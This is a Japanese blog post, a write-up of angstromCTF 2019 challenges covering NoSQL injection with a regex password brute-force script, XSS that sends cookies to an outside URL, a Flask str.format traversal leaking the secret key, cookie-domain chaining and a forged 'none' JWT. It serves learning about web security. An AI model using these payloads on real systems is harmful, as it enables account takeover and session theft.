st98 の日記帳


[ctf] angstromCTF 2019 の write-up

4 月 20 日から 4 月 25 日にかけて開催された angstromCTF 2019 に、チーム zer0pts で参加しました。最終的にチームで 3730 点を獲得し、順位は得点 1374 チーム中 8 位でした。うち、私は 8 問を解いて 860 点を入れました。

他のメンバーの write-up はこちら。

以下、私が解いた問題の write-up です。

Misc

Streams (70)

White noise is useful whether you are trying to sleep, relaxing, or concentrating on writing papers. Find some natural white noise here.
Note: The flag is all lowercase and follows the standard format (e.g. actf{example_flag})

与えられた URL にアクセスすると、/video/stream.mp4/video/init-stream0.m4s /video/init-stream1.m4s/video/chunk-stream0-00001.m4s /video/chunk-stream1-00001.m4s … の順番でリクエストが発生しました。

stream.mp4 は以下のような内容でした。

<?xml version="1.0" encoding="utf-8"?>
<MPD xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns="urn:mpeg:dash:schema:mpd:2011"
	xmlns:xlink="http://www.w3.org/1999/xlink"
	xsi:schemaLocation="urn:mpeg:DASH:schema:MPD:2011 http://standards.iso.org/ittf/PubliclyAvailableStandards/MPEG-DASH_schema_files/DASH-MPD.xsd"
	profiles="urn:mpeg:dash:profile:isoff-live:2011"
	type="static"
	mediaPresentationDuration="PT1M44.2S"
	minBufferTime="PT16.6S">
	<ProgramInformation>
	</ProgramInformation>
	<Period id="0" start="PT0.0S">
		<AdaptationSet id="0" contentType="video" segmentAlignment="true" bitstreamSwitching="true" frameRate="30/1" lang="und">
			<Representation id="0" mimeType="video/mp4" codecs="avc1.64001f" bandwidth="278539187" width="1280" height="720" frameRate="30/1">
				<SegmentTemplate timescale="15360" initialization="init-stream$RepresentationID$.m4s" media="chunk-stream$RepresentationID$-$Number%05d$.m4s" startNumber="1">
					<SegmentTimeline>
						<S t="0" d="128000" r="11" />
						<S d="64512" />
					</SegmentTimeline>
				</SegmentTemplate>
			</Representation>
		</AdaptationSet>
		<AdaptationSet id="1" contentType="audio" segmentAlignment="true" bitstreamSwitching="true" lang="eng">
			<Representation id="1" mimeType="audio/mp4" codecs="mp4a.40.2" bandwidth="128000" audioSamplingRate="44100">
				<AudioChannelConfiguration schemeIdUri="urn:mpeg:dash:23003:3:audio_channel_configuration:2011" value="2" />
				<SegmentTemplate timescale="44100" initialization="init-stream$RepresentationID$.m4s" media="chunk-stream$RepresentationID$-$Number%05d$.m4s" startNumber="1">
					<SegmentTimeline>
						<S t="0" d="365568" />
						<S d="366592" />
						<S d="367616" r="6" />
						<S d="366592" />
						<S d="367616" r="1" />
						<S d="184320" />
					</SegmentTimeline>
				</SegmentTemplate>
			</Representation>
		</AdaptationSet>
		<AdaptationSet id="2" contentType="audio" segmentAlignment="true" bitstreamSwitching="true" lang="und">
			<Representation id="2" mimeType="audio/mp4" codecs="mp4a.40.2" bandwidth="48000" audioSamplingRate="8000">
				<AudioChannelConfiguration schemeIdUri="urn:mpeg:dash:23003:3:audio_channel_configuration:2011" value="1" />
				<SegmentTemplate timescale="8000" initialization="init-stream$RepresentationID$.m4s" media="chunk-stream$RepresentationID$-$Number%05d$.m4s" startNumber="1">
					<SegmentTimeline>
						<S t="0" d="66676" />
						<S d="66560" r="4" />
						<S d="20480" />
						<S d="2415" />
					</SegmentTimeline>
				</SegmentTemplate>
			</Representation>
		</AdaptationSet>
	</Period>
</MPD>

MPEG-DASH のようです。<Representation id="2" mimeType="audio/mp4" codecs="mp4a.40.2" bandwidth="48000" audioSamplingRate="8000"><Representation id="1" mimeType="audio/mp4" codecs="mp4a.40.2" bandwidth="48000" audioSamplingRate="8000"> を入れ替えてみると、音声がモールス信号に変わりました。これをデコードするとフラグが得られました。

actf{f145h_15_d34d_10n9_11v3_mp39_d45h}

Web

No Sequels (50)

The prequels sucked, and the sequels aren’t much better, but at least we always have the original trilogy.

与えられた URL にアクセスすると /login にリダイレクトされ、ソースコードとログインフォームが表示されました。

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
    // monk instance
    var db = req.db;

    var user = req.body.username;
    var pass = req.body.password;

    if (!user || !pass){
        res.send("One or more fields were not provided.");
    }
    var query = {
        username: user,
        password: pass
    }

    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.send("Wrong username or password");
            return
        }

        res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
        res.redirect("/site");
    });
});

db.collectionfindOne 等の API から MongoDB を使っていることが推測できます。

ユーザ入力である req.body.password が文字列であるかどうかをチェックせず、そのまま query に格納しています。もし {"$ne":"hoge"} のようなオブジェクトが password に入れば、passwordhoge でない場合にマッチするという条件式として解釈させることができます。

app.use(bodyParser.json()); と、POST 時に Content-Type ヘッダが application/json である場合に HTTP リクエストボディを JSON として解釈されるように設定されていることを利用すると、admin としてログインすることができました。

$ curl -L "https://nosequels.2019.chall.actf.co" -c cookie.txt
︙
$ curl -L "https://nosequels.2019.chall.actf.co/login" -b cookie.txt -H "Content-type: application/json" -d '{"username":"admin","password":{"$ne":0}}'
…<h2>Here's your first flag: actf{no_sql_doesn't_mean_no_vuln}<br>Access granted, however suspicious activity detected. Please enter password for user<b> 'admin' </b>again, but there will be no database query.</h2>…

フラグが得られました。

actf{no_sql_doesn't_mean_no_vuln}

No Sequels 2 (80)

This is the sequel to No Sequels. You’ll see the challenge page once you solve the first one.

No Sequels の続きのようです。admin としてログイン後、以下のようなソースコードも一緒に表示されていました。

router.post('/site', verifyJwt, function (req, res) {
    // req.user is assigned from verifyJwt
    if (!req.user.authenticated || !req.body.pass2) {
        res.send("bad");
    }
 
    var query = {
        username: req.user.name,
    }
 
    var db = req.db;
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
        if (!user){
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
        }
        var pass = user.password;
        var message = "";
        if (pass === req.body.pass2){
            res.render('final');
        } else {
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
        }
 
    });
 
});

admin のパスワードを入手すればよいようです。$regex 演算子を利用して 1 文字ずつ総当たりで特定していきましょう。

import json
import requests
import string

URL = 'https://nosequels.2019.chall.actf.co/login'
res = ''

while True:
  for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
    r = requests.post(URL, cookies={
      'token': '…'
    }, headers={
      'Content-Type': 'application/json'
    }, data=json.dumps({
      'username': 'admin',
      'password': {
        '$regex': '^' + res + c +'.*'
      }
    }))
    if b'Wrong username or password' not in r.content:
      res += c
      break
  else:
    print(':(')
  print(res)
$ python solve.py
︙
congratsyouwin

congratsyouwinadmin のパスワードのようです。これを入力するとフラグが得られました。

actf{still_no_sql_in_the_sequel}

DOM Validator (130)

Always remember to validate your DOMs before you render them.

以下のようなソースコードが与えられました。

var express = require('express')
var app = express()

app.use(express.urlencoded({ extended: false }))
app.use(express.static('public'))

app.get('/', function (req, res) {
	res.send(`<!doctype html>
<html>
<head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
</head>
<body style="background-color: black; text-align: center;">
<h1 style="color: white; margin-top: 2em;">Create Post</h1>
<form action='/posts' method='POST'>
<input name='title' placeholder='Post title'><br>
<textarea name='content' placeholder='Post content'></textarea><br>
<button type='submit' style="color: white">Create Post</button>
</form>
<h1 style="color: white">Report Post</h1>
<form action='/report' method='POST'>
<input name='url' placeholder='Post URL'><br>
<button type='submit' style="color: white">Report Post</button>
</form>
</body>
</html>`)
})

var fs = require('fs')
app.post('/posts', function (req, res) {
	// title must be a valid filename
	if (!(/^[\w\-. ]+$/.test(req.body.title)) || req.body.title.indexOf('..') !== -1) return res.sendStatus(400)
	if (fs.existsSync('public/posts/' + req.body.title + '.html')) return res.sendStatus(409)
	fs.writeFileSync('public/posts/' + req.body.title + '.html', `<!DOCTYPE html SYSTEM "3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc">
<html>
	<head>
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
		<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>
		<script src="../scripts/DOMValidator.js"></script>
	</head>
	<body>
		<h1>${req.body.title}</h1>
		<p>${req.body.content}</p>
	</body>
</html>`)
	res.redirect('/posts/' + req.body.title + '.html')
})

// admin visiting page
var puppeteer = require('puppeteer')
app.post('/report', async function (req, res) {
	res.sendStatus(200)
	try {
		var browser = await puppeteer.launch({
			args: ['--no-sandbox']
		})
		var page = await browser.newPage()
		await page.setCookie({
			name: 'flag',
			value: process.env.FLAG,
			domain: req.get('host')
		})
		await page.goto(req.body.url, {'waitUntil': 'networkidle0'})
	} catch (e) {
		console.log(e)
	}
})

app.listen(3002)

admin の Cookie を盗み取ればよいようです。記事が作成できるようなので、適当に作成してみましょう。

<!DOCTYPE html SYSTEM "3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc">
<html>
	<head>
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
		<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>
		<script src="../scripts/DOMValidator.js"></script>
	</head>
	<body>
		<h1>kokoni-title</h1>
		<p>kokoni-content</p>
	</body>
</html>

DOMValidator.js は以下のような内容でした。

function checksum (element) {
	var string = ''
	string += (element.attributes ? element.attributes.length : 0) + '|'
	for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {
		string += element.attributes[i].name + ':' + element.attributes[i].value + '|'
	}
	string += (element.childNodes ? element.childNodes.length : 0) + '|'
	for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {
		string += checksum(element.childNodes[i]) + '|'
	}
	return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)
}
var request = new XMLHttpRequest()
request.open('GET', location.href, false)
request.send(null)
if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {
	document.documentElement.remove()
}

自分自身を XMLHttpRequest で取得して HTML としてパースし、再帰的に要素の属性等を結合した文字列のハッシュ値をチェックしています。もしこのハッシュ値が DOCTYPE 宣言で設定されているものでなければ document.documentElement.remove() ですべての要素を削除されてしまいます。そのため、もし XSS ができても、これによって HTML の構造が変わってしまうためハッシュ値も変わり、すべての要素が削除されてしまいます。

なんとかならないかいろいろ試していると、<img src=x onerror=alert(1)> を投げたときに alert が発火しました。これを利用して <img src=x onerror="(new Image).src='http://(URL)?'+document.cookie"> でフラグが得られました。

actf{its_all_relative}

Madlibbin (150)

The Pastebin for Mad Libs: Madlibbin, completely open source! Have fun madlibbin’!

以下のようなソースコードが与えられました。

import binascii
import json
import os
import re
import redis

from flask import Flask
from flask import request
from flask import redirect, render_template
from flask import abort

app = Flask(__name__)
app.secret_key = os.environ.get('FLAG')

redis = redis.Redis(host='madlibbin_redis', port=6379, db=0)

generate = lambda: binascii.hexlify(os.urandom(16)).decode()
parse = lambda x: list(dict.fromkeys(re.findall(r'(?<=\{args\[)[\w\-\s]+(?=\]\})', x)))

@app.route('/', methods=['GET'])
def index():
	return render_template('index.html')

@app.route('/', methods=['POST'])
def create():
	tag = generate()
	template = request.form.get('template', '')
	madlib = {
		'template': template,
		'blanks': parse(template)
	}
	redis.set(tag, json.dumps(madlib))
	return redirect('/{}'.format(tag))

@app.route('/<tag>', methods=['GET'])
def view(tag):
	if redis.exists(tag):
		madlib = json.loads(redis.get(tag))
		if set(request.args.keys()) == set(madlib['blanks']):
			return render_template('result.html', stuff=madlib['template'].format(args=request.args))
		else:
			return render_template('fill.html', blanks=madlib['blanks'])
	else:
		abort(404)

if __name__ == '__main__':
	app.run()

render_template('result.html', stuff=madlib['template'].format(args=request.args)) で SSTI ができる…かと思いきや、よく見るとユーザ入力が渡されているのは Jinja2 のメソッドではなく Python の組み込みメソッドである str.format です。関数呼び出し等はできませんが、属性を辿っていってフラグが格納されている app.config を手に入れることができないか試してみましょう。

まず {args.__class__.__init__.__globals__}MultiDict.__init__ が定義されたときの変数の一覧を取得します。

{'__name__': 'werkzeug.datastructures', '__doc__': '\n    werkzeug.datastructures\n    ~~~~~~~~~~~~~~~~~~~~~~~\n\n    This module provides mixins and classes with an immutable interface.\n\n    :copyright: 2007 Pallets\n    :license: BSD-3-Clause\n', '__package__': 'werkzeug', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f7cc853b9e8>, …, 'unquote_etag': <function unquote_etag at 0x7f7cc8434ae8>}

CTF的 Flaskに対する攻撃まとめ - Qiita を参考に sys.modules を探してみると、どうやら {args.__class__.__init__.__globals__[__loader__].__class__.__init__.__globals__[sys].modules} のように __loader__ から辿れるようでした。

{'sys': <module 'sys' (built-in)>, …, 'madlibbin': <module 'madlibbin' from '/ctf/madlibbin/__init__.py'>, 'madlibbin.app': <module 'madlibbin.app' from '/ctf/madlibbin/app.py'>, …, 'http.cookiejar': <module 'http.cookiejar' from '/usr/local/lib/python3.7/http/cookiejar.py'>}

{args.__class__.__init__.__globals__[__loader__].__class__.__init__.__globals__[sys].modules[madlibbin.app].app.config} でフラグが得られました。

<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'actf{traversed_the_world_and_the_seven_seas}', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
actf{traversed_the_world_and_the_seven_seas}

My friend sent me this monster of a website - maybe you can figure out what it’s doing? I heard the admin here is slightly more cooperative than the other one, though not by much.

以下のようなソースコードが与えられました。

const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const express = require('express')
const puppeteer = require('puppeteer')
const crypto = require('crypto')
const fs = require('fs')

const admin_id = "admin_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")
let flag = ""
fs.readFile('flag.txt', 'utf8', function(err, data) {  
    if (err) throw err;
    flag = data
});
const dom = "cookiemonster.2019.chall.actf.co"
let user_num = 0
const thecookie = {
	name: 'id',
	value: admin_id,
	domain: dom,
};

async function visit (url) {
	try{
		const browser = await puppeteer.launch({
			args: ['--no-sandbox']
		})
		var page = await browser.newPage()
		await page.setCookie(thecookie)
		await page.setCookie({name: "user_num", value: "0", domain: dom})
		await page.goto(url)
		await page.close()
		await browser.close()
	}catch(e){}
}

const app = express()

app.use(cookieParser())
app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.use('/style.css', express.static('style.css'));

app.use((req, res, next) => {
	var cookie = req.cookies?req.cookies.id:undefined
	if(cookie === undefined){
		cookie = "user_"+crypto.randomBytes(32).toString('base64').split("+").join("_").split("/").join("$")
		res.cookie('id',cookie,{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
		req.cookies.id=cookie
		user_num+=1
		res.cookie('user_num',user_num.toString(),{maxAge: 1000 * 60 * 10, httpOnly: true, domain: dom})
		req.cookies.user_num=user_num.toString();
	}
	if(cookie === admin_id){
		res.locals.flag = true;
	}else{
		res.locals.flag = false;
	}
	next()
})

app.post('/complain', (req, res) => {
	visit(req.body.url);
	res.send("<link rel='stylesheet' type='text/css' href='style.css'>okay")
})

app.get('/complain', (req, res) => {
	res.send("<link rel='stylesheet' type='text/css' href='style.css'><form method='post'><p>give me a url describing the problem and i will probably check it:</p><p><input name='url'></p><p><input type='submit'></p></form>")
})

app.get('/cookies', (req, res) => {
	res.end(Object.values(req.cookies).join(" "))
})

app.get('/getflag', (req, res) => {
	res.send("<link rel='stylesheet' type='text/css' href='style.css'>flag: "+(res.locals.flag?flag:"currently unavailable"))
})

app.get('/', (req, res) => {
	res.send("<link rel='stylesheet' type='text/css' href='style.css'>look this site is under construction if you have any complaints send them <a href='complain'>here</a>\n<!-- debug: /cookies /getflag -->")
})


app.use((err, req, res, next) => {
	res.status(500).send('error')
})

app.listen(3000)

admin の Cookie を入手すればよいようです。

一見脆弱性がないように見えますが、/cookies では Cookie の中身がエスケープされずに出力されているため、もし任意の値をセットできれば XSS ができそうです。…が、このアプリケーション内にはどこにも Cookie を操作できる箇所がありません。

ここで、Cookie の Domain 属性であるドメインを指定すると、そのサブドメインにおいても送信される仕様 (例えば domain=example.com では sub.example.com でも送信される) を利用します。同じ *.2019.chall.actf.co 上にある DOMValidator で <img src=x onerror="document.cookie='a=%3Cscript%3Ealert(1)%3C%2Fscript%3E;domain=2019.chall.actf.co;path=/cookies';location='https://cookiemonster.2019.chall.actf.co/cookies'"> を投稿すると、domain=2019.chall.actf.co という属性を付加した上で Cookie を発行することができ、/cookiesalert を発火させることができました。

alert(1)(new Image).src="http://(URL)?"+document.cookie に置換して DOMValidator に投稿し、このパーマリンクをこの問題の /complain に投稿することで、admin_id を手に入れることができました。

admin_id を Cookie にセットし、/getflag にアクセスするとフラグが得られました。

actf{defund_is_the_real_cookie_monster}

I stumbled upon this very interesting site lately while looking for cookie recipes, which claims to have a flag. However, the admin doesn’t seem to be available and the site looks secure - can you help me out?

以下のようなソースコードが与えられました。

const cookieParser = require('cookie-parser');
const express = require('express');
const crypto = require('crypto');
const jwt = require('jsonwebtoken');

const flag = "[redacted]";

let secrets = [];

const app = express()
app.use('/style.css', express.static('style.css'));
app.use('/favicon.ico', express.static('favicon.ico'));
app.use('/rick.png', express.static('rick.png'));
app.use(cookieParser())

app.use('/admin',(req, res, next)=>{
	res.locals.rolled = true;
	next();
})

app.use((req, res, next) => {
	let cookie = req.cookies?req.cookies.session:"";
	res.locals.flag = false;
	try {
		let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
		if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
		let decoded = jwt.verify(cookie, secrets[sid]);
		if(decoded.perms=="admin"){
			res.locals.flag = true;
		}
		if(decoded.rolled=="yes"){
			res.locals.rolled = true;
		}
		if(res.locals.rolled) {
			req.cookies.session = ""; // generate new cookie
		}
	} catch (err) {
		req.cookies.session = "";
	}
	if(!req.cookies.session){
		let secret = crypto.randomBytes(32)
		cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
		secrets.push(secret);
		res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})
		req.cookies.session=cookie
		res.locals.flag = false;
	}
	next()
})

app.get('/admin', (req, res) => {
	res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");
})

app.get('/', (req, res) => {
	res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")
})

app.listen(3000)

セッションを改ざんし、permsadmin に変えることができればフラグが入手できるようです。また、JWT を使っていますが、どうやらセッションごとに秘密鍵を変えているようです。

このアプリケーションで利用されている auth0/node-jsonwebtoken のソースコードを見てみましょう。検証を行っている verify.js の一部分です。

    if (!hasSignature && secretOrPublicKey){
      return done(new JsonWebTokenError('jwt signature is required'));
    }

    if (hasSignature && !secretOrPublicKey) {
      return done(new JsonWebTokenError('secret or public key must be provided'));
    }

    if (!hasSignature && !options.algorithms) {
      options.algorithms = ['none'];
    }

署名部分が空で、秘密鍵が与えられておらず、かつ許容できるアルゴリズムの一覧が与えられていない場合には none というアルゴリズムが選択できるようになるようです。

「署名部分が空」「許容できるアルゴリズムが一覧が与えられていない」という条件については簡単に達成できそうですが、「秘密鍵が与えられていない」という条件はどう達成すればよいのでしょうか。

アプリケーションの検証部分を見てみましょう。

		let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
		if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
		let decoded = jwt.verify(cookie, secrets[sid]);

sidundefined であるかどうかはチェックされていますが、secrets[sid]undefined であるかはチェックされていません。sid を何か適当な文字列にすれば invalid sid のチェックをすり抜けられ、また secrets[sid]undefined にできるはずです。

これを利用して eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJob2dlIiwicm9sbGVkIjoibm8iLCJpYXQiOjE1NTYxMzkzNDl9. を Cookie にセットするとフラグが得られました。

actf{defund_ate_the_cookies_and_left_no_sign}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳